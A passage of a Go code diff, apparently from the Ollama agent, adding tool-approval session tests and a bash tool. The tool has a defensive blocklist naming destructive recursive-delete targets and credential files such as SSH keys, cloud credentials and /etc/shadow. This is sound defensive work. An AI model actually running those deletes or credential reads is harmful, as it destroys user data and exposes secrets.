+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
+					{
+						ID: "call-1",
+						Function: api.ToolCallFunction{
+							Name:      "cwd_tool",
+							Arguments: setArgs,
+						},
+					},
+					{
+						ID: "call-2",
+						Function: api.ToolCallFunction{
+							Name:      "cwd_tool",
+							Arguments: echoArgs,
+						},
+					},
+				}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(cwdTestTool{})
+	prompter := &recordingApprovalPrompter{results: []Approval{{Allow: true}}}
+	session := &Session{
+		Client:           client,
+		Tools:            registry,
+		ApprovalPrompter: prompter,
+		WorkingDir:       root,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use cwd"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want, err := filepath.EvalSymlinks(filepath.Join(root, "sub"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	approvedRoot := root
+	if len(prompter.requests) != 1 {
+		t.Fatalf("approval requests = %d, want 1", len(prompter.requests))
+	}
+	if prompter.requests[0].WorkingDir != approvedRoot {
+		t.Fatalf("approval cwd = %q, want %q", prompter.requests[0].WorkingDir, approvedRoot)
+	}
+	if session.WorkingDir != want {
+		t.Fatalf("session cwd = %q, want %q", session.WorkingDir, want)
+	}
+	if result.WorkingDir != want {
+		t.Fatalf("result cwd = %q, want %q", result.WorkingDir, want)
+	}
+	if result.Messages[2].Content != "changed" {
+		t.Fatalf("cwd change tool content = %q, want unchanged output", result.Messages[2].Content)
+	}
+	if result.Messages[3].Content != approvedRoot {
+		t.Fatalf("second tool saw cwd %q, want approved cwd %q", result.Messages[3].Content, approvedRoot)
+	}
+}
+
+func TestSessionAllowsToolWorkingDirOutsideInitialDir(t *testing.T) {
+	root := t.TempDir()
+	escapeArgs := api.NewToolCallFunctionArguments()
+	escapeArgs.Set("mode", "escape")
+	echoArgs := api.NewToolCallFunctionArguments()
+	echoArgs.Set("mode", "echo")
+
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
+					{
+						ID: "call-1",
+						Function: api.ToolCallFunction{
+							Name:      "cwd_tool",
+							Arguments: escapeArgs,
+						},
+					},
+					{
+						ID: "call-2",
+						Function: api.ToolCallFunction{
+							Name:      "cwd_tool",
+							Arguments: echoArgs,
+						},
+					},
+				}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(cwdTestTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		WorkingDir:    root,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use cwd"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	want, err := filepath.EvalSymlinks(filepath.Dir(root))
+	if err != nil {
+		t.Fatal(err)
+	}
+	approvedRoot := root
+	if session.WorkingDir != want {
+		t.Fatalf("session cwd = %q, want %q", session.WorkingDir, want)
+	}
+	if result.Messages[2].Content != "escaped" {
+		t.Fatalf("escape tool content = %q, want unchanged output", result.Messages[2].Content)
+	}
+	if result.Messages[3].Content != approvedRoot {
+		t.Fatalf("second tool saw cwd %q, want original cwd %q", result.Messages[3].Content, approvedRoot)
+	}
+}
+
+func TestSessionDeniesWithoutApprovalPrompter(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	echoArgs := api.NewToolCallFunctionArguments()
+	echoArgs.Set("value", "should not run")
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
+					{
+						ID: "call-1",
+						Function: api.ToolCallFunction{
+							Name:      "approval_tool",
+							Arguments: args,
+						},
+					},
+					{
+						ID: "call-2",
+						Function: api.ToolCallFunction{
+							Name:      "echo_tool",
+							Arguments: echoArgs,
+						},
+					},
+				}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+		},
+	}
+	called := false
+	registry := &Registry{}
+	registry.Register(approvalTestTool{called: &called})
+	registry.Register(staticTool{})
+	session := &Session{
+		Client: client,
+		Tools:  registry,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if called {
+		t.Fatal("tool executed despite denied approval")
+	}
+	if client.calls != 1 {
+		t.Fatalf("client calls = %d, want 1 after denial", client.calls)
+	}
+	if len(result.Messages) != 4 {
+		t.Fatalf("messages = %#v", result.Messages)
+	}
+	if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" {
+		t.Fatalf("denial tool message = %#v", result.Messages[2])
+	}
+	if result.Messages[2].Content == "" || result.Messages[2].Content == "approved" || result.Messages[2].Content == "tool says hello" {
+		t.Fatalf("tool denial content = %q", result.Messages[2].Content)
+	}
+	if result.Messages[3].Role != "tool" || result.Messages[3].ToolCallID != "call-2" {
+		t.Fatalf("second denial tool message = %#v", result.Messages[3])
+	}
+	if result.Messages[3].Content == "" || result.Messages[3].Content == "tool says hello" {
+		t.Fatalf("second denial content = %q", result.Messages[3].Content)
+	}
+}
+
+func TestSessionPromptsOnceForApprovalBatch(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
+					{
+						ID: "call-1",
+						Function: api.ToolCallFunction{
+							Name:      "approval_tool",
+							Arguments: args,
+						},
+					},
+					{
+						ID: "call-2",
+						Function: api.ToolCallFunction{
+							Name:      "approval_tool",
+							Arguments: args,
+						},
+					},
+				}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+		},
+	}
+	called := false
+	registry := &Registry{}
+	registry.Register(approvalTestTool{called: &called})
+	prompter := &recordingApprovalPrompter{
+		results: []Approval{{Reason: "denied"}},
+	}
+	session := &Session{
+		Client:           client,
+		Tools:            registry,
+		ApprovalPrompter: prompter,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use tools"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(prompter.requests) != 1 {
+		t.Fatalf("approval prompts = %d, want 1", len(prompter.requests))
+	}
+	if len(prompter.requests[0].Calls) != 2 {
+		t.Fatalf("approval calls = %#v, want both tool calls", prompter.requests[0].Calls)
+	}
+	if called {
+		t.Fatal("tool ran despite denied approval")
+	}
+	if client.calls != 1 {
+		t.Fatalf("client calls = %d, want 1 after denial", client.calls)
+	}
+	if len(result.Messages) != 4 || result.Messages[2].Role != "tool" || result.Messages[3].Role != "tool" {
+		t.Fatalf("messages = %#v", result.Messages)
+	}
+}
+
+func TestSessionRunsFullApprovedToolBatchBeforeNextModelStep(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
+					{
+						ID: "call-1",
+						Function: api.ToolCallFunction{
+							Name:      "approval_tool",
+							Arguments: args,
+						},
+					},
+					{
+						ID: "call-2",
+						Function: api.ToolCallFunction{
+							Name:      "approval_tool",
+							Arguments: args,
+						},
+					},
+				}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(approvalTestTool{})
+	prompter := &recordingApprovalPrompter{
+		results: []Approval{{Allow: true}},
+	}
+	events := &recordingEventSink{}
+	session := &Session{
+		Client:           client,
+		Tools:            registry,
+		ApprovalPrompter: prompter,
+		EventSinks:       []EventSink{events},
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use tools"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if client.calls != 2 {
+		t.Fatalf("client calls = %d, want second model step only after tool batch", client.calls)
+	}
+	if len(result.Messages) != 5 {
+		t.Fatalf("messages = %#v, want user, assistant tool calls, two tool results, final assistant", result.Messages)
+	}
+	if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" {
+		t.Fatalf("first tool result = %#v", result.Messages[2])
+	}
+	if result.Messages[3].Role != "tool" || result.Messages[3].ToolCallID != "call-2" {
+		t.Fatalf("second tool result = %#v", result.Messages[3])
+	}
+	if result.Messages[4].Role != "assistant" || result.Messages[4].Content != "done" {
+		t.Fatalf("final assistant = %#v", result.Messages[4])
+	}
+
+	var finishedBeforeDelta []string
+	for _, event := range events.events {
+		if event.Type == EventMessageDelta && event.Content == "done" {
+			break
+		}
+		if event.Type == EventToolFinished {
+			finishedBeforeDelta = append(finishedBeforeDelta, event.ToolCallID)
+		}
+	}
+	if strings.Join(finishedBeforeDelta, ",") != "call-1,call-2" {
+		t.Fatalf("tool finishes before final model delta = %#v, want full batch before model", finishedBeforeDelta)
+	}
+}
+
+func TestSessionAllowAllApprovalSkipsFuturePrompts(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "approval_tool",
+						Arguments: args,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-2",
+					Function: api.ToolCallFunction{
+						Name:      "approval_tool",
+						Arguments: args,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done again"}},
+			},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(approvalTestTool{})
+	prompter := &recordingApprovalPrompter{
+		results: []Approval{{AllowAll: true}},
+	}
+	session := &Session{
+		Client:           client,
+		Tools:            registry,
+		ApprovalPrompter: prompter,
+	}
+
+	for range 2 {
+		if _, err := session.Run(context.Background(), RunOptions{
+			Model:       "model",
+			NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}
+	if !session.ApprovalState.AllowAll() {
+		t.Fatal("session did not remember allow all")
+	}
+	if len(prompter.requests) != 1 {
+		t.Fatalf("approval prompts = %d, want 1", len(prompter.requests))
+	}
+}
+
+func TestSessionAllowToolApprovalSkipsFuturePromptForSameTool(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "approval_tool",
+						Arguments: args,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-2",
+					Function: api.ToolCallFunction{
+						Name:      "approval_tool",
+						Arguments: args,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done again"}},
+			},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(approvalTestTool{})
+	prompter := &recordingApprovalPrompter{
+		results: []Approval{{AllowScopes: []string{"approval_tool"}}},
+	}
+	session := &Session{
+		Client:           client,
+		Tools:            registry,
+		ApprovalPrompter: prompter,
+	}
+
+	for range 2 {
+		if _, err := session.Run(context.Background(), RunOptions{
+			Model:       "model",
+			NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}
+	if session.ApprovalState.AllowAll() {
+		t.Fatal("allowing one tool enabled full access")
+	}
+	if !session.ApprovalState.Allows("approval_tool") {
+		t.Fatal("approval_tool scope was not saved")
+	}
+	if len(prompter.requests) != 1 {
+		t.Fatalf("approval prompts = %d, want 1", len(prompter.requests))
+	}
+}
+
+func TestSessionAllowShellApprovalScopesToExactCommand(t *testing.T) {
+	pwdArgs := api.NewToolCallFunctionArguments()
+	pwdArgs.Set("command", "pwd")
+	lsArgs := api.NewToolCallFunctionArguments()
+	lsArgs.Set("command", "ls")
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "bash",
+						Arguments: pwdArgs,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-2",
+					Function: api.ToolCallFunction{
+						Name:      "bash",
+						Arguments: pwdArgs,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done again"}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-3",
+					Function: api.ToolCallFunction{
+						Name:      "bash",
+						Arguments: lsArgs,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done finally"}},
+			},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(namedApprovalTestTool{name: "bash"})
+	prompter := &recordingApprovalPrompter{
+		results: []Approval{
+			{AllowScopes: []string{toolApprovalScope("bash", map[string]any{"command": "pwd"})}},
+			{Allow: true},
+		},
+	}
+	session := &Session{
+		Client:           client,
+		Tools:            registry,
+		ApprovalPrompter: prompter,
+	}
+
+	for range 3 {
+		if _, err := session.Run(context.Background(), RunOptions{
+			Model:       "model",
+			NewMessages: []api.Message{{Role: "user", Content: "use a command"}},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}
+	if !session.ApprovalState.Allows("bash\x00pwd") {
+		t.Fatal("pwd command scope was not saved")
+	}
+	if session.ApprovalState.Allows("bash") || session.ApprovalState.Allows("bash\x00ls") {
+		t.Fatal("shell approval was too broad")
+	}
+	if len(prompter.requests) != 2 {
+		t.Fatalf("approval prompts = %d, want first pwd and later ls", len(prompter.requests))
+	}
+	if got := prompter.requests[0].Calls[0].ApprovalScope; got != "bash\x00pwd" {
+		t.Fatalf("first approval scope = %q, want pwd command scope", got)
+	}
+	if got := prompter.requests[1].Calls[0].ApprovalScope; got != "bash\x00ls" {
+		t.Fatalf("second approval scope = %q, want ls command scope", got)
+	}
+}
+
+func TestSessionAllowAllToolsExecutesApprovalTool(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "approval_tool",
+						Arguments: args,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+		},
+	}
+	called := false
+	registry := &Registry{}
+	registry.Register(approvalTestTool{called: &called})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !called {
+		t.Fatal("tool did not execute")
+	}
+	if result.Messages[2].Content != "approved" {
+		t.Fatalf("tool content = %q, want approved", result.Messages[2].Content)
+	}
+}

agent/tools/bash.go

@@ -0,0 +1,440 @@
+package tools
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	bashTimeout        = 3 * time.Minute
+	bashWaitDelay      = 1 * time.Second
+	maxBashOutputBytes = 60_000
+)
+
+type Bash struct{}
+
+func (b *Bash) Name() string {
+	return shellToolName()
+}
+
+func (b *Bash) Description() string {
+	return shellToolDescription()
+}
+
+func (b *Bash) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("command", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: shellCommandDescription(),
+	})
+	return api.ToolFunction{
+		Name:        b.Name(),
+		Description: b.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"command"},
+		},
+	}
+}
+
+func (b *Bash) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	command, ok := args["command"].(string)
+	if !ok || strings.TrimSpace(command) == "" {
+		return agent.ToolResult{}, fmt.Errorf("command parameter is required")
+	}
+	if err := rejectUnsafeShellCommand(command); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, bashTimeout)
+	defer cancel()
+
+	cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	cwdPath := cwdFile.Name()
+	_ = cwdFile.Close()
+	defer os.Remove(cwdPath)
+
+	cmd := newBashCommand(ctx, command, cwdPath)
+	cmd.WaitDelay = bashWaitDelay
+	cmd.Cancel = func() error {
+		return killBashCommand(cmd)
+	}
+	if toolCtx.WorkingDir != "" {
+		cmd.Dir = toolCtx.WorkingDir
+	}
+
+	var stdout, stderr boundedOutput
+	stdout.Limit = maxBashOutputBytes
+	stderr.Limit = maxBashOutputBytes
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	err = runBashCommand(cmd)
+	finalWorkingDir := readFinalWorkingDir(cwdPath)
+
+	var sb strings.Builder
+	if stdout.Len() > 0 {
+		sb.WriteString(stdout.String("stdout"))
+	}
+	if stderr.Len() > 0 {
+		if sb.Len() > 0 {
+			sb.WriteString("\n")
+		}
+		sb.WriteString("stderr:\n")
+		sb.WriteString(stderr.String("stderr"))
+	}
+
+	if err != nil {
+		if ctx.Err() == context.DeadlineExceeded {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command timed out after "+bashTimeout.String()), WorkingDir: finalWorkingDir}, nil
+		}
+		if ctx.Err() == context.Canceled {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command was canceled"), WorkingDir: finalWorkingDir}, nil
+		}
+		if errors.Is(err, exec.ErrWaitDelay) {
+			_ = killBashCommand(cmd)
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command output pipes did not close after "+bashWaitDelay.String()), WorkingDir: finalWorkingDir}, nil
+		}
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), fmt.Sprintf("Exit code: %d", exitErr.ExitCode())), WorkingDir: finalWorkingDir}, nil
+		}
+		return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
+	}
+
+	if sb.Len() == 0 {
+		return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
+	}
+	return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
+}
+
+func bashContentWithError(content, msg string) string {
+	if content == "" {
+		return msg
+	}
+	return content + "\n\n" + msg
+}
+
+// rejectUnsafeShellCommand applies a best-effort blocklist for obviously
+// destructive or credential-exfiltrating commands. It is defense-in-depth
+// ONLY: the interactive approval prompt is the real security control, and
+// this check must not be relied upon as a sandbox. Sophisticated or novel
+// dangerous commands (e.g. find / -delete, dd, fork bombs, custom binaries)
+// are NOT caught here and will simply be routed through approval like any
+// other command. Keep the approval prompt as the gate.
+func rejectUnsafeShellCommand(command string) error {
+	switch {
+	case hasUnsafeRecursiveDelete(command):
+		return fmt.Errorf("refusing to run unsafe command: recursive delete target is too broad")
+	case readsCredentialPath(command):
+		return fmt.Errorf("refusing to run unsafe command: credential file reads are not allowed")
+	default:
+		return nil
+	}
+}
+
+func hasUnsafeRecursiveDelete(command string) bool {
+	// Check each command segment independently. shellSafetyText flattens
+	// separators (; & | newlines) to spaces, which would otherwise let the
+	// rm target scan bleed across command boundaries — e.g.
+	// "rm -rf build && echo ~/.ssh/config" flattened to one token stream
+	// would treat the unrelated ~/.ssh/config (a ~/-prefixed "unsafe
+	// target") as an rm argument. Splitting on separators first restores
+	// command boundaries while still catching multi-target single commands
+	// like "rm -rf build /etc".
+	for _, segment := range shellSegments(command) {
+		fields := shellSafetyFields(segment)
+		for i, field := range fields {
+			if isRMCommand(field) && rmCommandDeletesUnsafeTarget(fields[i+1:]) {
+				return true
+			}
+			if isPowerShellDeleteCommand(field) && powerShellDeleteCommandDeletesUnsafeTarget(fields[i+1:]) {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+// shellSegments splits a command on shell control operators (;, &, |, &&,
+// ||) and newlines, returning the individual command segments. It operates on
+// the lowercased raw command before quote/separator normalization so that
+// command boundaries are preserved for per-segment checks. Subshell parens are
+// intentionally NOT treated as separators: splitting on them would fragment
+// command substitutions like "rm -rf $(echo /)" into "rm -rf $" and "echo /",
+// hiding the destructive "/" target from the per-segment scan. Empty segments
+// are dropped.
+func shellSegments(command string) []string {
+	command = strings.ToLower(command)
+	var segments []string
+	for _, segment := range strings.FieldsFunc(command, func(r rune) bool {
+		switch r {
+		case ';', '&', '|', '\n', '\r':
+			return true
+		}
+		return false
+	}) {
+		if segment = strings.TrimSpace(segment); segment != "" {
+			segments = append(segments, segment)
+		}
+	}
+	return segments
+}
+
+func rmCommandDeletesUnsafeTarget(fields []string) bool {
+	var flags string
+	for _, field := range fields {
+		if field == "--" {
+			continue
+		}
+		if strings.HasPrefix(field, "-") {
+			flags += field
+			continue
+		}
+		if strings.Contains(flags, "r") && strings.Contains(flags, "f") && isUnsafeDeleteTarget(field) {
+			return true
+		}
+	}
+	return false
+}
+
+func powerShellDeleteCommandDeletesUnsafeTarget(fields []string) bool {
+	var recurse, force bool
+	var targets []string
+	for _, field := range fields {
+		switch field {
+		case "-r", "-recurse", "-recursive":
+			recurse = true
+		case "-f", "-force":
+			force = true
+		default:
+			if !strings.HasPrefix(field, "-") {
+				targets = append(targets, field)
+			}
+		}
+	}
+	if !recurse || !force {
+		return false
+	}
+	for _, target := range targets {
+		if isUnsafeDeleteTarget(target) {
+			return true
+		}
+	}
+	return false
+}
+
+func readsCredentialPath(command string) bool {
+	fields := shellSafetyFields(command)
+	if !hasCredentialReadVerb(fields) {
+		return false
+	}
+	normalized := shellSafetyText(command)
+	for _, fragment := range []string{
+		"/.ssh/id_rsa",
+		"/.ssh/id_dsa",
+		"/.ssh/id_ecdsa",
+		"/.ssh/id_ed25519",
+		"/.ssh/config",
+		"/.ssh/known_hosts",
+		"/.aws/credentials",
+		"/.aws/config",
+		"/.config/gcloud/application_default_credentials.json",
+		"/.kube/config",
+		"/.netrc",
+		"/.npmrc",
+		"/.docker/config.json",
+		"/.config/gh/hosts.yml",
+		"/.gnupg/",
+		"/etc/shadow",
+	} {
+		if strings.Contains(normalized, fragment) {
+			return true
+		}
+	}
+	return false
+}
+
+func hasCredentialReadVerb(fields []string) bool {
+	for _, field := range fields {
+		switch field {
+		case "cat", "less", "more", "head", "tail", "type", "get-content", "gc", "select-string", "grep", "rg", "sed", "awk":
+			return true
+		case "env", "printenv":
+			return true
+		}
+	}
+	return false
+}
+
+func isRMCommand(field string) bool {
+	return field == "rm" || strings.HasSuffix(field, "/rm")
+}
+
+func isPowerShellDeleteCommand(field string) bool {
+	switch field {
+	case "remove-item", "del", "erase", "rd", "rmdir":
+		return true
+	default:
+		return false
+	}
+}
+
+func isUnsafeDeleteTarget(target string) bool {
+	if target == "." || target == "./" || target == "*" {
+		return true
+	}
+	if target == "/*" {
+		return true
+	}
+	target = strings.TrimSuffix(target, "/*")
+	for _, prefix := range []string{"~/", "$home/", "${home}/", "$env:home/", "$env:userprofile/", "%userprofile%/"} {
+		if strings.HasPrefix(target, prefix) {
+			return true
+		}
+	}
+	for _, prefix := range []string{"/etc/", "/bin/", "/sbin/", "/usr/", "/var/", "/lib/", "/library/", "/system/", "/applications/", "c:/windows/", "c:/program files/"} {
+		if strings.HasPrefix(target, prefix) {
+			return true
+		}
+	}
+	for _, exact := range []string{"/", "~", "$home", "${home}", "$env:home", "$env:userprofile", "%userprofile%", "c:", "c:/", "/etc", "/bin", "/sbin", "/usr", "/var", "/lib", "/library", "/system", "/applications", "c:/windows", "c:/program files"} {
+		if target == exact {
+			return true
+		}
+	}
+	return false
+}
+
+func shellSafetyFields(command string) []string {
+	return strings.Fields(shellSafetyText(command))
+}
+
+func shellSafetyText(command string) string {
+	command = strings.ToLower(command)
+	return strings.NewReplacer(
+		"\\", "/",
+		"\n", " ",
+		"\t", " ",
+		";", " ",
+		"&", " ",
+		"|", " ",
+		"(", " ",
+		")", " ",
+		"\"", "",
+		"'", "",
+		"`", "",
+	).Replace(command)
+}
+
+func readFinalWorkingDir(path string) string {
+	content, err := os.ReadFile(path)
+	if err != nil {
+		return ""
+	}
+	workingDir := strings.TrimPrefix(string(content), "\ufeff")
+	workingDir = strings.TrimSpace(workingDir)
+	if workingDir == "" {
+		return ""
+	}
+	workingDir = normalizeBashWorkingDir(workingDir)
+	info, err := os.Stat(workingDir)
+	if err != nil || !info.IsDir() {
+		return ""
+	}
+	return workingDir
+}
+
+func normalizeBashWorkingDir(workingDir string) string {
+	if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
+		workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
+	}
+	workingDir = filepath.Clean(filepath.FromSlash(workingDir))
+	if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
+		workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
+	}
+	return workingDir
+}
+
+func isASCIIAlpha(b byte) bool {
+	return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
+}
+
+type boundedOutput struct {
+	Limit   int
+	buf     []byte
+	omitted int
+}
+
+func (b *boundedOutput) Write(p []byte) (int, error) {
+	if b.Limit <= 0 {
+		b.omitted += len(p)
+		return len(p), nil
+	}
+	remaining := b.Limit - len(b.buf)
+	if remaining <= 0 {
+		b.omitted += len(p)
+		return len(p), nil
+	}
+	if len(p) <= remaining {
+		b.buf = append(b.buf, p...)
+		return len(p), nil
+	}
+	writeLen := utf8SafePrefixLen(p[:remaining])
+	b.buf = append(b.buf, p[:writeLen]...)
+	b.omitted += len(p) - writeLen
+	return len(p), nil
+}
+
+func (b *boundedOutput) Len() int {
+	return len(b.buf) + b.omitted
+}
+
+func (b *boundedOutput) String(label string) string {
+	safeLen := utf8SafePrefixLen(b.buf)
+	content := string(b.buf[:safeLen])
+	omitted := b.omitted + len(b.buf) - safeLen
+	if omitted == 0 {
+		return content
+	}
+	return content + fmt.Sprintf("\n\n[%s truncated: omitted ~%d tokens]", label, approximateTokensFromBytes(omitted))
+}
+
+func utf8SafePrefixLen(p []byte) int {
+	if len(p) == 0 {
+		return 0
+	}
+	for i := 0; i < len(p); {
+		r, size := utf8.DecodeRune(p[i:])
+		if r == utf8.RuneError && size == 1 {
+			return i
+		}
+		i += size
+	}
+	return len(p)
+}
+
+func approximateTokensFromBytes(n int) int {
+	if n <= 0 {
+		return 0
+	}
+	return max(1, (n+3)/4)
+}

agent/tools/bash_test.go

@@ -0,0 +1,258 @@
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+	"unicode/utf8"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestBashReportsFinalWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	subdir := filepath.Join(root, "sub")
+	if err := os.Mkdir(subdir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	wantDir, err := filepath.EvalSymlinks(subdir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.WorkingDir != wantDir {
+		t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
+	}
+	if !strings.Contains(result.Content, "sub") {
+		t.Fatalf("content = %q, want pwd output", result.Content)
+	}
+}
+
+func TestBashBoundsOutputWhileRunning(t *testing.T) {
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "[stdout truncated: omitted ~") || !strings.Contains(result.Content, " tokens]") {
+		t.Fatalf("content = %q, want stdout truncation marker", result.Content)
+	}
+	if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
+		t.Fatalf("captured x count = %d, want %d", count, want)
+	}
+	if len(result.Content) > maxBashOutputBytes+200 {
+		t.Fatalf("content length = %d, want bounded output", len(result.Content))
+	}
+}
+
+func TestBoundedOutputTruncatesAtUTF8Boundary(t *testing.T) {
+	var out boundedOutput
+	out.Limit = len([]byte("abc")) + 1
+
